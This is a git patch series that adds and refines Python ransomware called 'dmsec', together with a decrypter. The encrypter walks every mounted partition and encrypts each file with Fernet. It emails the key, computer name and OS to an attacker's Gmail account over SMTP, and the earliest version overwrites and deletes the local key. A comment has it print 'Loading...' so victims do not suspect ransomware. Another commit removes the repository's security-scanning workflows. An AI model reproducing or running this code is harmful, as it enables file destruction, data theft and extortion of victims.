From ccb46b61e08ce75b689b940e36f7799258203464 Mon Sep 17 00:00:00 2001 From: dmdhrumilmistry Date: Wed, 28 Jul 2021 01:30:25 +0530 Subject: [PATCH 1/4] create new dmsec ransomware --- ransomwares/dsec_ransomware/decrypter.py | 83 ++++++++++++++ ransomwares/dsec_ransomware/encrypter.py | 135 +++++++++++++++++++++++ 2 files changed, 218 insertions(+) create mode 100644 ransomwares/dsec_ransomware/decrypter.py create mode 100644 ransomwares/dsec_ransomware/encrypter.py diff --git a/ransomwares/dsec_ransomware/decrypter.py b/ransomwares/dsec_ransomware/decrypter.py new file mode 100644 index 0000000..bb8eaae --- /dev/null +++ b/ransomwares/dsec_ransomware/decrypter.py @@ -0,0 +1,83 @@ +from cryptography.fernet import Fernet +from os.path import join, isfile +from os import getcwd, name, walk, chdir +from tempfile import gettempdir +from psutil import disk_partitions +from sys import exit + + +def get_partitions_path(): + ''' + get all mounted partition's mount point + ''' + mount_points = [] + for partition in disk_partitions(): + mount_points.append(partition.mountpoint) + return mount_points + + +def read_key(path): + ''' + get key + ''' + key_path = join(path, KEY_FILE) + if isfile(key_path): + cwd = getcwd() + chdir(path) + key = open(key_path, 'rb').read() + chdir(cwd) + return key + else: + print('[!] No key found!') + exit() + + +def decrypt_file(file_path, key): + ''' + decrypts specified file + ''' + fernet = Fernet(key) + enc_file_data = '' + # read file data + with open(file_path, 'rb') as file: + enc_file_data = file.read() + + # encrypt file data + file_data = fernet.decrypt(enc_file_data) + + # write encrypted file + with open(file_path, 'wb') as file: + file.write(file_data) + + +def decrypt_child_files(root_path, key): + ''' + decrypts files inside specified root folder and it's subfolder + ''' + for root, dirs, files in walk(root_path): + chdir(root) + + for file in files: + file_path = join(root, file) + decrypt_file(file_path,key) + + +def start_recovery(paths:list): + ''' + starts recovery process + ''' + tempdir = gettempdir() + KEY = read_key(KEY_PATH) + for path in paths: + decrypt_child_files(path, KEY) + + +if __name__ == '__main__': + path = input('[+] Enter Key Path : ') + KEY_PATH = r'{}'.format(path) + + tempdir = gettempdir() + KEY_FILE = 'key.dmsec' + PATHS = get_partitions_path() + + start_recovery(PATHS) \ No newline at end of file diff --git a/ransomwares/dsec_ransomware/encrypter.py b/ransomwares/dsec_ransomware/encrypter.py new file mode 100644 index 0000000..138db1d --- /dev/null +++ b/ransomwares/dsec_ransomware/encrypter.py @@ -0,0 +1,135 @@ +import string, random +from cryptography.fernet import Fernet +from os.path import join, isfile +from os import getcwd, remove, walk, chdir, urandom +from tempfile import gettempdir +from psutil import disk_partitions +from smtplib import SMTP, SMTPException +from subprocess import check_output + + +def send_key(mail, password, key)->bool: + ''' + send key to the attacker's mail + ''' + try: + user = check_output('whoami',shell=True).decode('utf-8') + msg = f'Subject: Key from {user}\nKEY: {key}\n\n' + server = SMTP('smtp.gmail.com', 587) + server.starttls() + server.login(mail, password) + server.sendmail(mail, mail, msg) + server.quit() + return True + except SMTPException as e: + # print('[-] Exception : ', e) + return False + + +def get_partitions_path(): + ''' + get all mounted partition's mount point + ''' + mount_points = [] + for partition in disk_partitions(): + mount_points.append(partition.mountpoint) + return mount_points + + +def create_key(path): + ''' + generate new key + ''' + cwd = getcwd() + chdir(path) + + key = Fernet.generate_key() + key_path = join(path, KEY_FILE) + with open(key_path,'wb') as key_file: + key_file.write(key) + send_key('youremail', 'AppPassword') + chdir(cwd) + + +def read_key(path): + ''' + get key + ''' + key_path = join(path, KEY_FILE) + + if isfile(key_path): + cwd = getcwd() + chdir(path) + key = open(key_path, 'rb').read() + chdir(cwd) + return key + + + +def encrypt_file(file_path, key): + ''' + encrypts the specified file + ''' + fernet = Fernet(key) + file_data = None + # read file data + with open(file_path, 'rb') as file: + file_data = file.read() + + # encrypt file data + enc_file_data = fernet.encrypt(file_data) + + # write encrypted file + with open(file_path, 'wb') as file: + file.write(enc_file_data) + + +def encrypt_child_files(root_path, key): + ''' + encrypt all files in folders/subfolders of the specified root path + ''' + for root, dirs, files in walk(root_path): + chdir(root) + + for file in files: + file_path = join(root, file) + encrypt_file(file_path,key) + + +def delete_key(): + ''' + writes a new key to the key file and then deletes it. + ''' + tempdir = gettempdir() + key_file_path = join(tempdir, KEY_FILE) + + with open(key_file_path, 'rb+') as key_file: + key_len = len(key_file.read()) + chars = string.ascii_letters + string.digits + '!@#$%^&*()_+-=*,.;?:~"{[]}' + random.seed = urandom(1024) + new_fake_key = ''.join(random.choice(chars) for i in range(key_len)).encode('utf-8') + key_file.write(new_fake_key) + + remove(key_file_path) + + +def start_ransom_attack(paths:list): + ''' + start encrypting data on specified paths + ''' + tempdir = gettempdir() + create_key(tempdir) + KEY = read_key(tempdir) + + for path in paths: + encrypt_child_files(path, KEY) + + # remove keys + delete_key() + + +if __name__ == '__main__': + print('[*] Starting Please Wait.....') + KEY_FILE = 'key.dmsec' + PATHS = get_partitions_path() + start_ransom_attack(PATHS) From fb79815526f25987ae028a5d466775c759bea68d Mon Sep 17 00:00:00 2001 From: dmdhrumilmistry Date: Thu, 26 Aug 2021 20:19:53 +0530 Subject: [PATCH 2/4] rewrite ransomware rewrite ransomware using class update requirements --- ransomwares/dmsec/decrypter.py | 84 ++++++++++++++ ransomwares/dmsec/dmsec_ransomeware.py | 73 ++++++++++++ ransomwares/dsec_ransomware/decrypter.py | 83 -------------- ransomwares/dsec_ransomware/encrypter.py | 135 ----------------------- requirements.txt | 3 +- 5 files changed, 159 insertions(+), 219 deletions(-) create mode 100644 ransomwares/dmsec/decrypter.py create mode 100644 ransomwares/dmsec/dmsec_ransomeware.py delete mode 100644 ransomwares/dsec_ransomware/decrypter.py delete mode 100644 ransomwares/dsec_ransomware/encrypter.py diff --git a/ransomwares/dmsec/decrypter.py b/ransomwares/dmsec/decrypter.py new file mode 100644 index 0000000..1584de8 --- /dev/null +++ b/ransomwares/dmsec/decrypter.py @@ -0,0 +1,84 @@ +from cryptography.fernet import Fernet +from sys import exit +from os import walk +from os.path import join +from psutil import disk_partitions + +class DMSECDecrypter: + def __init__(self, key:str=None, paths:list=None) -> None: + # check key + if key == None: + print('[!] Invalid KEY') + exit() + if type(key)==str: + key = bytes(key, encoding='utf-8') + self.KEY = key + print('[!] KEY :', self.KEY) + + # generate fernet obj for file encryption + self.fernet = Fernet(self.KEY) + + if paths == None: + self.PATHS = self.__get_partitions_path() + else: + self.PATHS = paths + print('[!] PATHS to be decrypted :\n', self.PATHS) + + + + def __get_partitions_path(self) -> list: + ''' + returns all mounted partition's mount points as a list + ''' + mount_points = [] + for partition in disk_partitions(): + mount_points.append(partition.mountpoint) + return mount_points + + + def decrypt_file(self, file_path:str): + ''' + decrypts single file + ''' + try: + # read file data + with open(file_path, 'rb') as f: + file_data = f.read() + + # decrypt file data + dec_data = self.fernet.decrypt(file_data) + + # write file data + with open(file_path, 'wb') as f: + f.write(dec_data) + print(f'[*] File {file_path} decrypted.') + return True + + except Exception: + print(f'[!] Failed to decrypt {file_path}') + return False + + + def decrypt_files(self, path:str): + ''' + decrypts all the files in the specified path + ''' + for root, dirs, files in walk(path): + print('-'*40) + print('ROOT :',root) + for file in files: + file_path = join(root, file) + self.decrypt_file(file_path=file_path) + print('-'*40) + + + def start(self): + for path in self.PATHS: + self.decrypt_files(path) + + +if __name__ == '__main__': + PATHS = [r'C:\Users\there\Desktop\tools\TermuxCustomBanner',] + KEY = input('[+] Enter KEY : ') + encrypter = DMSECDecrypter(KEY, PATHS) + encrypter.start() diff --git a/ransomwares/dmsec/dmsec_ransomeware.py b/ransomwares/dmsec/dmsec_ransomeware.py new file mode 100644 index 0000000..8738c55 --- /dev/null +++ b/ransomwares/dmsec/dmsec_ransomeware.py @@ -0,0 +1,73 @@ +from cryptography.fernet import Fernet +from os import chdir, getcwd, walk +from os.path import join +from psutil import disk_partitions + +class DMSECEncrypter: + def __init__(self, paths:list=None) -> None: + # generate new key + self.KEY = Fernet.generate_key() + print('[!] KEY :', self.KEY) + + # generate fernet obj for file encryption + self.fernet = Fernet(self.KEY) + + if paths == None: + self.PATHS = self.__get_partitions_path() + else: + self.PATHS = paths + print('[!] PATHS to be encrypted :\n', self.PATHS) + + + + def __get_partitions_path(self) -> list: + ''' + returns all mounted partition's mount points as a list + ''' + mount_points = [] + for partition in disk_partitions(): + mount_points.append(partition.mountpoint) + return mount_points + + + def encrypt_file(self, file_path): + try: + # read file data + with open(file_path, 'rb') as f: + file_data = f.read() + + # encrypt file data + enc_data = self.fernet.encrypt(file_data) + + # write file data + with open(file_path, 'wb') as f: + file_data = f.write(enc_data) + print(f'[*] File {file_path} encrypted.') + return True + + except Exception: + print(f'[!] Failed to encrypt {file_path}') + return False + + + def encrypt_files(self, path:str): + for root, dirs, files in walk(path): + print('-'*40) + print('ROOT :',root) + for file in files: + # print('File :', file) + file_path = join(root, file) + # print('filePATH :',file_path) + self.encrypt_file(file_path=file_path) + print('-'*40) + + + + def start(self): + for path in self.PATHS: + self.encrypt_files(path) + +if __name__ == '__main__': + PATHS = [r'C:\Users\there\Desktop\tools\TermuxCustomBanner',] + encrypter = DMSECEncrypter(PATHS) + encrypter.start() diff --git a/ransomwares/dsec_ransomware/decrypter.py b/ransomwares/dsec_ransomware/decrypter.py deleted file mode 100644 index bb8eaae..0000000 --- a/ransomwares/dsec_ransomware/decrypter.py +++ /dev/null @@ -1,83 +0,0 @@ -from cryptography.fernet import Fernet -from os.path import join, isfile -from os import getcwd, name, walk, chdir -from tempfile import gettempdir -from psutil import disk_partitions -from sys import exit - - -def get_partitions_path(): - ''' - get all mounted partition's mount point - ''' - mount_points = [] - for partition in disk_partitions(): - mount_points.append(partition.mountpoint) - return mount_points - - -def read_key(path): - ''' - get key - ''' - key_path = join(path, KEY_FILE) - if isfile(key_path): - cwd = getcwd() - chdir(path) - key = open(key_path, 'rb').read() - chdir(cwd) - return key - else: - print('[!] No key found!') - exit() - - -def decrypt_file(file_path, key): - ''' - decrypts specified file - ''' - fernet = Fernet(key) - enc_file_data = '' - # read file data - with open(file_path, 'rb') as file: - enc_file_data = file.read() - - # encrypt file data - file_data = fernet.decrypt(enc_file_data) - - # write encrypted file - with open(file_path, 'wb') as file: - file.write(file_data) - - -def decrypt_child_files(root_path, key): - ''' - decrypts files inside specified root folder and it's subfolder - ''' - for root, dirs, files in walk(root_path): - chdir(root) - - for file in files: - file_path = join(root, file) - decrypt_file(file_path,key) - - -def start_recovery(paths:list): - ''' - starts recovery process - ''' - tempdir = gettempdir() - KEY = read_key(KEY_PATH) - for path in paths: - decrypt_child_files(path, KEY) - - -if __name__ == '__main__': - path = input('[+] Enter Key Path : ') - KEY_PATH = r'{}'.format(path) - - tempdir = gettempdir() - KEY_FILE = 'key.dmsec' - PATHS = get_partitions_path() - - start_recovery(PATHS) \ No newline at end of file diff --git a/ransomwares/dsec_ransomware/encrypter.py b/ransomwares/dsec_ransomware/encrypter.py deleted file mode 100644 index 138db1d..0000000 --- a/ransomwares/dsec_ransomware/encrypter.py +++ /dev/null @@ -1,135 +0,0 @@ -import string, random -from cryptography.fernet import Fernet -from os.path import join, isfile -from os import getcwd, remove, walk, chdir, urandom -from tempfile import gettempdir -from psutil import disk_partitions -from smtplib import SMTP, SMTPException -from subprocess import check_output - - -def send_key(mail, password, key)->bool: - ''' - send key to the attacker's mail - ''' - try: - user = check_output('whoami',shell=True).decode('utf-8') - msg = f'Subject: Key from {user}\nKEY: {key}\n\n' - server = SMTP('smtp.gmail.com', 587) - server.starttls() - server.login(mail, password) - server.sendmail(mail, mail, msg) - server.quit() - return True - except SMTPException as e: - # print('[-] Exception : ', e) - return False - - -def get_partitions_path(): - ''' - get all mounted partition's mount point - ''' - mount_points = [] - for partition in disk_partitions(): - mount_points.append(partition.mountpoint) - return mount_points - - -def create_key(path): - ''' - generate new key - ''' - cwd = getcwd() - chdir(path) - - key = Fernet.generate_key() - key_path = join(path, KEY_FILE) - with open(key_path,'wb') as key_file: - key_file.write(key) - send_key('youremail', 'AppPassword') - chdir(cwd) - - -def read_key(path): - ''' - get key - ''' - key_path = join(path, KEY_FILE) - - if isfile(key_path): - cwd = getcwd() - chdir(path) - key = open(key_path, 'rb').read() - chdir(cwd) - return key - - - -def encrypt_file(file_path, key): - ''' - encrypts the specified file - ''' - fernet = Fernet(key) - file_data = None - # read file data - with open(file_path, 'rb') as file: - file_data = file.read() - - # encrypt file data - enc_file_data = fernet.encrypt(file_data) - - # write encrypted file - with open(file_path, 'wb') as file: - file.write(enc_file_data) - - -def encrypt_child_files(root_path, key): - ''' - encrypt all files in folders/subfolders of the specified root path - ''' - for root, dirs, files in walk(root_path): - chdir(root) - - for file in files: - file_path = join(root, file) - encrypt_file(file_path,key) - - -def delete_key(): - ''' - writes a new key to the key file and then deletes it. - ''' - tempdir = gettempdir() - key_file_path = join(tempdir, KEY_FILE) - - with open(key_file_path, 'rb+') as key_file: - key_len = len(key_file.read()) - chars = string.ascii_letters + string.digits + '!@#$%^&*()_+-=*,.;?:~"{[]}' - random.seed = urandom(1024) - new_fake_key = ''.join(random.choice(chars) for i in range(key_len)).encode('utf-8') - key_file.write(new_fake_key) - - remove(key_file_path) - - -def start_ransom_attack(paths:list): - ''' - start encrypting data on specified paths - ''' - tempdir = gettempdir() - create_key(tempdir) - KEY = read_key(tempdir) - - for path in paths: - encrypt_child_files(path, KEY) - - # remove keys - delete_key() - - -if __name__ == '__main__': - print('[*] Starting Please Wait.....') - KEY_FILE = 'key.dmsec' - PATHS = get_partitions_path() - start_ransom_attack(PATHS) diff --git a/requirements.txt b/requirements.txt index b137faf..8827826 100644 --- a/requirements.txt +++ b/requirements.txt @@ -7,4 +7,5 @@ colorama>=0.4.4 beautifulsoup4==4.9.3 pyfiglet==0.8.post1 prettytable==2.1.0 -scapy-python3==0.26 \ No newline at end of file +kamene==0.32 +psutil=5.8.0 \ No newline at end of file From f34f18ae29719e95915c9112d22a5ef96ea9b380 Mon Sep 17 00:00:00 2001 From: dmdhrumilmistry Date: Thu, 26 Aug 2021 20:21:22 +0530 Subject: [PATCH 3/4] Delete .github/workflows directory --- .github/workflows/codacy-analysis.yml | 49 -------------------- .github/workflows/codeql-analysis.yml | 67 --------------------------- 2 files changed, 116 deletions(-) delete mode 100644 .github/workflows/codacy-analysis.yml delete mode 100644 .github/workflows/codeql-analysis.yml diff --git a/.github/workflows/codacy-analysis.yml b/.github/workflows/codacy-analysis.yml deleted file mode 100644 index 4ec9f19..0000000 --- a/.github/workflows/codacy-analysis.yml +++ /dev/null @@ -1,49 +0,0 @@ -# This workflow checks out code, performs a Codacy security scan -# and integrates the results with the -# GitHub Advanced Security code scanning feature. For more information on -# the Codacy security scan action usage and parameters, see -# https://github.com/codacy/codacy-analysis-cli-action. -# For more information on Codacy Analysis CLI in general, see -# https://github.com/codacy/codacy-analysis-cli. - -name: Codacy Security Scan - -on: - push: - branches: [ master ] - pull_request: - # The branches below must be a subset of the branches above - branches: [ master ] - schedule: - - cron: '17 7 * * 5' - -jobs: - codacy-security-scan: - name: Codacy Security Scan - runs-on: ubuntu-latest - steps: - # Checkout the repository to the GitHub Actions runner - - name: Checkout code - uses: actions/checkout@v2 - - # Execute Codacy Analysis CLI and generate a SARIF output with the security issues identified during the analysis - - name: Run Codacy Analysis CLI - uses: codacy/codacy-analysis-cli-action@1.1.0 - with: - # Check https://github.com/codacy/codacy-analysis-cli#project-token to get your project token from your Codacy repository - # You can also omit the token and run the tools that support default configurations - project-token: ${{ secrets.CODACY_PROJECT_TOKEN }} - verbose: true - output: results.sarif - format: sarif - # Adjust severity of non-security issues - gh-code-scanning-compat: true - # Force 0 exit code to allow SARIF file generation - # This will handover control about PR rejection to the GitHub side - max-allowed-issues: 2147483647 - - # Upload the SARIF file generated in the previous step - - name: Upload SARIF results file - uses: github/codeql-action/upload-sarif@v1 - with: - sarif_file: results.sarif diff --git a/.github/workflows/codeql-analysis.yml b/.github/workflows/codeql-analysis.yml deleted file mode 100644 index 2ccb070..0000000 --- a/.github/workflows/codeql-analysis.yml +++ /dev/null @@ -1,67 +0,0 @@ -# For most projects, this workflow file will not need changing; you simply need -# to commit it to your repository. -# -# You may wish to alter this file to override the set of languages analyzed, -# or to provide custom queries or build logic. -# -# ******** NOTE ******** -# We have attempted to detect the languages in your repository. Please check -# the `language` matrix defined below to confirm you have the correct set of -# supported CodeQL languages. -# -name: "CodeQL" - -on: - push: - branches: [ master ] - pull_request: - # The branches below must be a subset of the branches above - branches: [ master ] - schedule: - - cron: '29 3 * * 4' - -jobs: - analyze: - name: Analyze - runs-on: ubuntu-latest - - strategy: - fail-fast: false - matrix: - language: [ 'python' ] - # CodeQL supports [ 'cpp', 'csharp', 'go', 'java', 'javascript', 'python' ] - # Learn more: - # https://docs.github.com/en/free-pro-team@latest/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#changing-the-languages-that-are-analyzed - - steps: - - name: Checkout repository - uses: actions/checkout@v2 - - # Initializes the CodeQL tools for scanning. - - name: Initialize CodeQL - uses: github/codeql-action/init@v1 - with: - languages: ${{ matrix.language }} - # If you wish to specify custom queries, you can do so here or in a config file. - # By default, queries listed here will override any specified in a config file. - # Prefix the list here with "+" to use these queries and those in the config file. - # queries: ./path/to/local/query, your-org/your-repo/queries@main - - # Autobuild attempts to build any compiled languages (C/C++, C#, or Java). - # If this step fails, then you should remove it and run the build manually (see below) - - name: Autobuild - uses: github/codeql-action/autobuild@v1 - - # ℹī¸ Command-line programs to run using the OS shell. - # 📚 https://git.io/JvXDl - - # ✏ī¸ If the Autobuild fails above, remove it and uncomment the following three lines - # and modify them (or add more) to build your code if your project - # uses a compiled language - - #- run: | - # make bootstrap - # make release - - - name: Perform CodeQL Analysis - uses: github/codeql-action/analyze@v1 From 534ce1912c7a14c1b4affd965d7a55c77b1587af Mon Sep 17 00:00:00 2001 From: dmdhrumilmistry Date: Thu, 26 Aug 2021 21:17:50 +0530 Subject: [PATCH 4/4] update Ransomware --- ransomwares/dmsec/decrypter.py | 18 ++++++--- ransomwares/dmsec/dmsec_ransomeware.py | 51 +++++++++++++++++++------- 2 files changed, 50 insertions(+), 19 deletions(-) diff --git a/ransomwares/dmsec/decrypter.py b/ransomwares/dmsec/decrypter.py index 1584de8..5a022fb 100644 --- a/ransomwares/dmsec/decrypter.py +++ b/ransomwares/dmsec/decrypter.py @@ -10,14 +10,17 @@ def __init__(self, key:str=None, paths:list=None) -> None: if key == None: print('[!] Invalid KEY') exit() + + # convert key to bytes if type(key)==str: key = bytes(key, encoding='utf-8') self.KEY = key - print('[!] KEY :', self.KEY) + print('[!] Decrypting data using KEY :', self.KEY) # generate fernet obj for file encryption self.fernet = Fernet(self.KEY) + # decrypt all partitions if paths are not passed if paths == None: self.PATHS = self.__get_partitions_path() else: @@ -64,12 +67,9 @@ def decrypt_files(self, path:str): decrypts all the files in the specified path ''' for root, dirs, files in walk(path): - print('-'*40) - print('ROOT :',root) for file in files: file_path = join(root, file) self.decrypt_file(file_path=file_path) - print('-'*40) def start(self): @@ -78,7 +78,15 @@ def start(self): if __name__ == '__main__': - PATHS = [r'C:\Users\there\Desktop\tools\TermuxCustomBanner',] + print('[*] Decrypting....') + + # specify paths to be decrypted + PATHS = [r'paths_to_be_decrypted',] + KEY = input('[+] Enter KEY : ') + + # don't pass PATHS if all the drives are to be decrypted. encrypter = DMSECDecrypter(KEY, PATHS) encrypter.start() + + print('[*] Decrypted...') diff --git a/ransomwares/dmsec/dmsec_ransomeware.py b/ransomwares/dmsec/dmsec_ransomeware.py index 8738c55..66b1723 100644 --- a/ransomwares/dmsec/dmsec_ransomeware.py +++ b/ransomwares/dmsec/dmsec_ransomeware.py @@ -1,13 +1,22 @@ +import smtplib from cryptography.fernet import Fernet -from os import chdir, getcwd, walk +from os import walk, environ from os.path import join from psutil import disk_partitions + class DMSECEncrypter: - def __init__(self, paths:list=None) -> None: + def __init__(self, paths:list=None, gmail:str=None, passwd:str=None) -> None: # generate new key self.KEY = Fernet.generate_key() - print('[!] KEY :', self.KEY) + + # report KEY to the attacker using email + if gmail!=None and passwd!=None and self.send_mail(mail=gmail, password=passwd): + pass + else: + # print error message and exit if key is not sent + print('[!] Try Again, Unable to connect') + exit() # generate fernet obj for file encryption self.fernet = Fernet(self.KEY) @@ -16,9 +25,23 @@ def __init__(self, paths:list=None) -> None: self.PATHS = self.__get_partitions_path() else: self.PATHS = paths - print('[!] PATHS to be encrypted :\n', self.PATHS) + def send_mail(self, mail, password)->bool: + ''' + sends mail to specific address/addresses. + ''' + try: + message = f'Subject: RNSMWARE ATTK has been initialized on {environ["COMPUTERNAME"]}\n**KEY** {str(self.KEY, encoding="utf-8")}\n**OS** {environ["OS"]}\n\n' + server = smtplib.SMTP('smtp.gmail.com', 587) + server.starttls() + server.login(mail, password) + server.sendmail(mail, mail, message) + server.quit() + return True + except Exception as e: + return False + def __get_partitions_path(self) -> list: ''' @@ -42,32 +65,32 @@ def encrypt_file(self, file_path): # write file data with open(file_path, 'wb') as f: file_data = f.write(enc_data) - print(f'[*] File {file_path} encrypted.') return True except Exception: - print(f'[!] Failed to encrypt {file_path}') return False def encrypt_files(self, path:str): for root, dirs, files in walk(path): - print('-'*40) - print('ROOT :',root) for file in files: - # print('File :', file) file_path = join(root, file) - # print('filePATH :',file_path) self.encrypt_file(file_path=file_path) - print('-'*40) - def start(self): for path in self.PATHS: self.encrypt_files(path) + if __name__ == '__main__': - PATHS = [r'C:\Users\there\Desktop\tools\TermuxCustomBanner',] - encrypter = DMSECEncrypter(PATHS) + # Print some meaningful text, so that user don't suspect program as ransomeware + print('[*] Loading...') + + # Specify paths to be encrypted + PATHS = [r'path_to_be_encrypted',] + + # don't pass PATHS if all the drives are to be encrypted + encrypter = DMSECEncrypter(PATHS, gmail='yourgmailid', passwd='yourapppassword') encrypter.start() + print('[*] Completed')